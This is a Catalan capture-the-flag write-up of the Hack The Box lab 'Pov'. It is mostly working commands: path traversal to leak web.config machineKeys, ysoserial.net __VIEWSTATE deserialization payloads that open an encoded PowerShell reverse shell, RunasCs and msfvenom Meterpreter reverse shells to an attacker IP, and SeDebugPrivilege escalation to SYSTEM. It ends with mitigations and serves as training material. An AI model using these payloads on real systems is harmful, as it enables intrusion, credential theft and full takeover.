Pov

Llança Pov i segueix avançant a HTB!

Introducció

avatar Una demostració d’ús de File Disclosure per trobar claus sensibles que permeten un atac d’Object Deserialization per a l’execució de comandes, seguit de la cerca de credencials exposades que llevan a l’abús de SeDebugPrivilege. Aquesta màquina m’ha introduït una nova eina, ysoserial.net, en el meu coneixement. He hagut d’estudiar més profundament IIS per poder utilitzar correctament la meva nova eina per adquirir el control inicial sobre l’amfitrió. Unes problemes amb els permisos quan es tractava de vectors d’escalada de privilegis, així que anirem pel camí de Metasploit quan busquem la bandera de root.

Fase de Recerca

Ei, estem entrant en blanc. $TARGET va ser generat a 10.10.11.251

Comencem amb Nmap per recollir detalls sobre el nostre $TARGET.

nmap -Pn -p- -A -n -T4 -vv -oN recon/scan.nmap 10.10.11.251

20260105093550 20260105093550 D’acord, tres elements clau de la informació resultant.

  1. El port 80/tcp està obert, mirant un Servidor Web
  2. El Servidor Web és IIS
  3. Pots fer una suposició educada que pov.htb és el nom d’amfitrió

No hi ha res més a detallar aquí, així que podem explorar http://10.10.11.251 i revisar aquest lloc web.

Tasques

  • Revisar lloc web al port 80

Revisa el lloc web al port 80

Llança la teva proxy web preferida, com la meva que és Caido, i comença a proxyjar tràfic per al nostre $TARGET.

Visitant http://10.10.11.251.

Cap dels botons POST o enllaç cap a res, però hi ha un fragment d’informació interessant a la secció Contact Us. 20260105102341 20260105102341 Veiem un possible usuari sfitz@pov.htb, podem anotar-ho per més tard. dev.pov.htb també es menciona i probablement és un Virtual Host, el qual podem verificar amb curl.

curl "http://10.10.11.251" -H "Host: dev.pov.htb"
# <head><title>Document Moure</title></head>
# <body><h1>Objecte Moure</h1>Aquest document es pot trobar <a HREF="http://dev.pov.htb/portfolio/">aquí</a></body>

S’ha confirmat que dev.pov.htb existeix.

Pots afegir pov.htb i dev.pov.htb a /etc/hosts.

echo "10.10.11.251 pov.htb dev.pov.htb" >> /etc/hosts

Així que podem continuar des d’aquí i revisar dev.pov.htb.

Tasques

  • Revisar lloc web al port 80
  • Revisar lloc web dev.pov.htb

Revisió del lloc web dev.pov.htb

Visitant dev.pov.htb, va redirigir a /portfolio/ i sembla que és el portfoli de desenvolupador web de sfitz.

La pàgina d’inici només té un aspecte interessant, el botó de descàrrega del CV de Stephen Fitz que fa una trucada __doPostBack per a un objectiu download. 20260105103353 20260105103353 Un petit fons sobre __doPostBack, ja que és una funció javascript generada pel framework de web javascript - així que podem suposar que estem mirant una pàgina .asp.

  1. L’objectiu és download
  2. El valor és cv.pdf per a id=file

De moment, deixant-ho de costat, comprovar el reste del lloc web té una pàgina /portfolio/contact.aspx. Provant i visualitzant amb Caido confirma que va enviar dades POST, però no podem veure res en particular per a nosaltres. Pots enviar XSS aquí i tal vegada robar les galetes de l’usuari de contacte, però això pot ser una opció d’últim recurs.

Tornant a la nostra descoberta __doPostBack, podem veure la petició POST després de fer clic en “Descarregar CV”. 20260105104038 20260105104038 No sorprenentment, descàrreguem un PDF del CV de Stephen.

Revisant la petició POST, veiem el paràmetre file aquí i altres paràmetres relacionats amb __VIEWSTATE.

__VIEWSTATE és una manera per a ASP.NET de preservar l’estat de l’usuari al costat del client, sense depenir de l’estat de sessió del servidor. Això està sovint validat i xifrat pels claus que existeixen tant en l’aplicació mitjançant web.config com a la màquina mitjançant machine.config.

Fem Replay aquesta petició però modificant el paràmetre file. Triant la pàgina web que estem visualitzant actualment default.aspx (el /index per a IIS). 20260105105022 20260105105022 Interessant. Modificant el paràmetre file= a default.aspx, hem rebut la pàgina com a resposta. No obstant això, no es va renderitzar com una vulnerabilitat típica de Inclusió Local de Fitxers perquè podem veure l’incloure d’aspx a la capçalera superior dels dades de la resposta. Això és Disclosió de Fitxer i està fent que busqui el fitxer index.aspx.cs inclos.

Pots profunditzar en aquesta vulnerabilitat de Disclosió de Fitxer i veure què podem trobar.

Tasques

  • Revisar lloc web al port 80
  • Revisar lloc web dev.pov.htb
  • Extreure informació amb divulgació de fitxers

Exfil amb Divulgació de Fitxers

Utilitzarem aquesta vulnerabilitat per trobar informació sensible i veure si podem utilitzar-ho per esplorar encara més profundament.

Per tant, estableix file=index.aspx.cs per visualitzar la pàgina del costat del servidor. 20260105110620 20260105110620 Aquí veiem el Download objectiu de més enllant. La línia 30 és una sanitització d’entrada no recursiva, així que un simple ....// passarà per això, permetent-nos la traversal de directoris. Basant-nos en restriccions addicionals, hauríem de poder trobar web.config.

El Directori Virtual IIS sembla ser /portfolio, però si no ho és, podem fer una enumeració més avançada per descobrir els camins d’aplicació i directori virtual adequats. Trobarem web.config a la raíz si el directori virtual.

Modifica el valor de file= a ....//web.config i envia la petició. 20260105111657 20260105111657 És un fitxer web.config, i té valors estàtics de machineKey! Idealment, aquests valors clau haurien de ser generats automàticament i isolats.

Per tant, registra el validationKey, validation, decryptionKey i decryption com a variables, els necessitarem per atacar VIEWSTATE amb una tècnica d’Object Deserialization.

Tasques

  • Revisar lloc web al port 80
  • Revisar lloc web dev.pov.htb
  • Extreure informació amb divulgació de fitxers
  • Atacar __VIEWSTATE

Atac __VIEWSTATE

__VIEWSTATE pot ser atacat si coneixem els machineKeys associats, ja que podrem encriptar correctament un __VIEWSTATE modificat que contindrà comandes insegures a ser deserialitzades pel servidor, teòricament proporcionant una via cap a RCE.

El nostre pla d’atac serà generar un payload amb els nostres machineKeys trobats utilitzant ysoserial.net. Estic fent servir aquesta eina a Linux mitjançant wine, però RECOMANO FORTEMENT utilitzar un entorn Windows per fer-ho, ja que requereix el .NET Framework per generar payloads sense problemes.

Pots establir les variables del teu machineKey.

VALIDATION="SHA1"
DECRYPTION="AES"
DECRYPTIONKEY="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
VALIDATIONKEY="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

Per demostrar l’execució de comandes, la nostra comanda serà ping 10.10.14.4, i establiré un listener per paquets ICMP.

Creant el comando ysoserial.net.

wine ysoserial.exe -p ViewState --path="/portfolio/default.aspx" --decryptionalg=$DECRYPTION --validationalg=$VALIDATION --decryptionkey=$DECRYPTIONKEY --validationkey=$VALIDATIONKEY -g TextFormattingRunProperties -c "ping 10.10.14.4"
# dbc5ml8eWCBuL%2BK<SNIP>I%2FitGDRYBeti8C%2BMfQ%2Bbs%3D

Recorregut els commutadors.

  • -p és el connector a utilitzar, estarem utilitzant el connector ViewState
  • --path és la pàgina web de destí
  • --decryptionalg, --validationalg, --decryptionkey, --validationkey seran els elements associats dels machineKeys
  • -g és la cadena d’objectes a utilitzar per envoltar el nostre ordre, hi ha molts objectes a provar i és una mica d’intent i error trobar-ne quin funciona
  • -c és l’ordre a executar

El següent passa és copiar el paquet generat per substituir el valor __VIEWSTATE i enviar la petició POST modificada. 20260105120135 20260105120135 Respondrà amb una pàgina d’error, però l’ordre encara s’està executant i he rebut paquets ICMP des de $TARGET. 20260105120116 20260105120116 Confirmada l’execució de l’ordre. A continuació podem substituir el nostre ping per una Reverse Shell i obtenir la bandera d’usuari.

Configura el teu listener.

rlwrap nc -lvnp 6969

Genera una cmd Reverse Shell utilitzant revshell.com.

Aleshores modifica l’ordre anterior de ysoserial.net per utilitzar la teva nova ordre de Reverse Shell, generant un nou paquet __VIEWSTATE.

wine ysoserial.exe -p ViewState --path="/portfolio/default.aspx" --decryptionalg=$DECRYPTION --validationalg=$VALIDATION --decryptionkey=$DECRYPTIONKEY --validationkey=$VALIDATIONKEY -g TextFormattingRunProperties -c "powershell -e JABjAGw<SNIP>cwBlACgAKQA="

Modifica el valor __VIEWSTATE i envia la petició POST, observant el teu listener per capturar aquesta shell. 20260105120949 20260105120949 20260105121010 20260105121010 La va capturar. Sembla que dev.pov.htb està sent serveit per sfitz.

Comprovant la bandera d’usuari.

cd C:\Users\sfitz\Desktop
ls
# Buit

20260105121242 20260105121242 Els veig. Sembla que necessitem enumerar més per trobar la nostra bandera.

Tasques

  • Revisar el lloc web al port 80
  • Revisar el lloc web dev.pov.htb
  • Extreure informació amb divulgació de fitxers
  • Atacar __VIEWSTATE
  • Enumerar l’usuari sfitz

Bandera d’Usuari

sfitz no és l’usuari que detineix la bandera d’usuari, així que és hora de fer una enumeració i trobar la nostra direcció.

Tasques

  • Enumera l’usuari sfitz

Enumeració de l’usuari sfitz

Primer, veurem quins privilegis tenim, quins usuaris existeixen en aquest host i començarem a cercar fitxers interessants.

whoami /all
net user
netstat -ano
Get-ChildItem C:\Users -Recurse -Include *.rdp, *.config, *.vnc, *.cred, *.xml, *.txt, *.kdbx, *.ini -ErrorAction Ignore

Passant per els resultats. whoami /all 20260105122337 20260105122337 Cap privilegi o pertinença a grups interessants.

netstat -ano 20260105123429 20260105123429 Sembla que WinRM i SMB estan oberts, però no apareixen en els nostres escanejos de NMap. Per tant, és probable que els perfils del Windows Firewall estiguin actius.

net user 20260105122427 20260105122427 Veiem dos comptes d’usuari no per defecte aquí, alaading i el nostre usuari actual sfitz. Pots confirmar els usuaris en aquest host amb:

ls c:\Users

20260105122540 20260105122540 Confirmat.

Resultats de la cerca de fitxers en els directoris d’usuari mitjançant Get-ChildItem C:\Users -Recurse -Include *.rdp, *.config, *.vnc, *.cred, *.xml, *.txt, *.kdbx, *.ini -ErrorAction Ignore 20260105122615 20260105122615 D’acord, un fitxer d’interès s’està situant en el nostre directori d’usuari. Visualitzant C:\Users\sfitz\Documents\connection.xml.

cat C:\Users\sfitz\Documents\connection.xml

20260105122819 20260105122819 D’acord, sfitz té un objecte PSCredential preparat per a la importació per a l’usuari alaading, super convenient per a nosaltres. Pots utilitzar el mòdul d’utilitat de PowerShell Import-Clixml per llegir aquestes credencials.

Suposant que aquest objecte va ser creat per sfitz i xifrat en aquest host, DPAPI hauria de permetre-n desxifrar aquestes credencials.

$creds = Import-Clixml -Path C:\Users\sfitz\Documents\connection.xml
$creds.GetNetworkCredential().password 
# <REDACTED>

Genial! Tenim un conjunt de credencials per a alaading:<REDACTED>.

Notem que anteriorment que WinRM està obert, però blocat pel Windows Firewall, així que una bona opció aquí és simplement crear un procés com a l’usuari alaading. Pots utilitzar RunasCs per connectar-te com a alaading.

### Tasques
- [x] Enumerar l'usuari `sfitz`
- [ ] Enumerar l'usuari `alaading`
## Enumera l'usuari `alaading`
Vam a utilitzar **RunasCs** per establir la nostra shell remota com a usuari `alaading`.

Configura un listener mitjançant **nc**.
```bash
rlwrap nc -lvnp 7000

Després lancerem un servidor web Python per copiar la nosaltre eina al objetivo.

python -m http.server 9000

Finalment, baixa RunasCs per tenir una funcionalitat estesa més allà de runas.

curl -o RunasCs.exe "http://10.10.14.4:9000/RunasCs.exe"

Establirem una shell inversa en cmd per a alaading.

.\RunasCs.exe alaading <REDACTED> -b -r 10.10.14.4:7000 cmd

20260105134333 20260105134333 20260105134409 20260105134409 Sembla una shell restringida considerant aquest error.

Pots avançar i obtenir la bandera d’usuari.

cd c:\Users\alaading\Desktop
dir

20260105134533 20260105134533

type user.txt
# 1f0e<REDACTED>09aa

Ho hem tingut! No obstant això, podem continuar amb l’enumeració per veure la nostra ruta cap a la bandera root.

Pots mirar els meus privilegis.

whoami /priv

20260105134738 20260105134738 Això és molt important. SeDebugPrivilege és un vector d’escalada de privilegis que ens permet llegir / escriure en (quasi) qualsevol procés. Pots utilitzar Metasploit-framework per aconseguir els privilegis del compte SYSTEM.

### Tasques
- [x] Enumera l'usuari `sfitz`
- [x] Enumera l'usuari `alaading`
- [ ] Ascendeix al sistema utilitzant SeDebugPrivilege
# Bandera de Raíz
Configurarem un **listener Meterpreter**, crearem un payload utilitzant **msfvenom**, el descarreguem i l'executem mitjançant `alaading`. Després d'això, podem habilitar el token **SeDebugPrivilege** i migrar a un procés amb privilegis més elevats.
## Escalada a SYSTEM utilitzant SeDebugPrivilege
>[!info] Interacció interessant aquí, lancia la meva shell com a **Powershell** i ara el testimoni **SeDebugPrivilege** està **habilitat**. Això ens ahorra un pas, però he llegit que aquesta màquina és força estranya amb les interaccions de la shell en torno a aquests testimonis, així que no puc determinar amb confiança perquè s'ha interactuat d'aquesta manera.

Lança una shell de **Powershell** per habilitar **SeDebugPrivilege**
```cmd
powershell
whoami /priv

20260105135421 20260105135421

Configura un listener on es generarà la nostra shell de Meterpreter, lancia msfconsole.

msfconsole
use exploit/multi/handler
set lhost tun0
set lport 6970
set payload windows/x64/meterpreter/reverse_tcp
exploit

El nostre listener està preparat, esperant a tun0:6970 perquè el nostre payload s’executi.

Crea el payload utilitzant msfvenom anomenat catshell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=6970 -o catshell.exe -f exe

Descarrega el fitxer des de http://$CAT_HOST:9000/catshell.exe a $TARGET.

curl -o catshell.exe "http://10.10.14.4:9000/catshell.exe"

20260105135624 20260105135624 Executa catshell.exe i comprova el teu listener de Meterpreter

.\catshell.exe

20260105135739 20260105135739 20260105135755 20260105135755 Tenc encara el SeDebugPrivilege disponible per a la nostra shell. 20260105135829 20260105135829 Així que acabem això. Troba un procés que normalment tindrà privilegis de SYSTEM.

ps

20260105140339 20260105140339

migrate 2312

20260105140412 20260105140412 20260105140421 20260105140421 Perfecte. És hora d’obtenir la flag de root. Passa a una shell, navega al escritori de Administrator, llegeix el fitxer.

shell
cd c:\Users\Administrator\Desktop
type root.txt
# 9263<REDACTED>a146

Tasques

  • Enumera l’usuari sfitz
  • Enumera l’usuari alaading
  • Ascendeix al sistema utilitzant SeDebugPrivilege

Conclusió/Mitigacions

Hi hagueren uns problemes en aquesta màquina. Les dues coses més difícils per a mi van ser intentar fer que ysoserial.net funcionés correctament a Linux, i amb el meu primer passatge per aquesta màquina, vaig obtenir un shell amb alaading però el meu testimoni SeDebugPrivilege estava desactivat. Vaig provar tot el que puc per activar aquest testimoni i finalment vaig arribar a shells diferents que ho tenien activat i no podia explicar exactament perquè.

La considero una qüestió de permisos d’usuari depenent de com es creï el shell.

En general, però, aprendre atacs de deserialització de __VIEWSTATE va ser divertit, i una vegada que et trobes en l’ordinador, va semblar gairebé fàcil arribar a la bandera root.

Divulgació de fitxers - Pàgina IIS .NET

La crida a la funció Download en index.aspx.cs no proporciona validació ni neteja adequades de l’entrada abans de passar-la a la crida a la funció Response.TransmitFile().

Si és possible, valida el paràmetre file a una llista blanca de noms de fitxers o directoris permèsos. A més això, neteja recursivament el paràmetre file i rebaixa els camins absoluts o els camins amb cadenes de traversal de directori.

IIS - Configuració criptogràfica vulnerable

Aquesta és més informació que res.

Les claus estàtiques machineKeys es converteixen en un únic punt de fallada. Una vegada que aquestes claus són conegudes, un adversari pot generar, alterar o llegir dades de viewstate o ignorar les galetes d’autenticació.

Es requereix l’eliminació de les claus estàtiques validationKey i decryptionKey, i permetre que ASP.NET AutoGenerate,IsolateApps per aquests valors.

SeDebugPrivilege concedit a un compte no administrador

alaading era un compte de no administrador amb SeDebugPrivilege. Aquest testimoni concedeix la capacitat de llegir/escriure la memòria dels processos privilegiats de SYSTEM.

Normalment s’accedeix a comptes d’administradors, analistes de seguretat per raons forensics i desenvolupadors/enginyers de sistemes que en necessiten.

Eliminar SeDebugPrivilege de alaading mitigaria la responsabilitat involucrada amb la compromissió del seu compte. A més, voldríeu realitzar una revisió d’altres comptes que puguin tenir aquest privilegi; i configurar la supervisió per als identificadors d’esdeveniments pertinents.

Referències

InvestigacióDescripció
Exploiting Deserialisation in ASP net via ViewstateCrític per entendre ysoserial.net i com es rompe __VIEWSTATE
Understanding IIS ArchitectureAjuda a entendre IIS i objectius importants per a la divulgació de fitxers
Eines UtilitzadesDescripció
CaidoEina lleugera de proxy web
Metasploit-frameworkMarc de proves d’informàtica cibernètica de codi obert
NMapEina per a la descoberta i auditoria de xarxes
RunasCsVersió millorada de runas integrat en Windows
ysoserial.netGenerador de càrregues útil per a la deserialització no segura d’objectes
RevshellsGenerador de reverse shell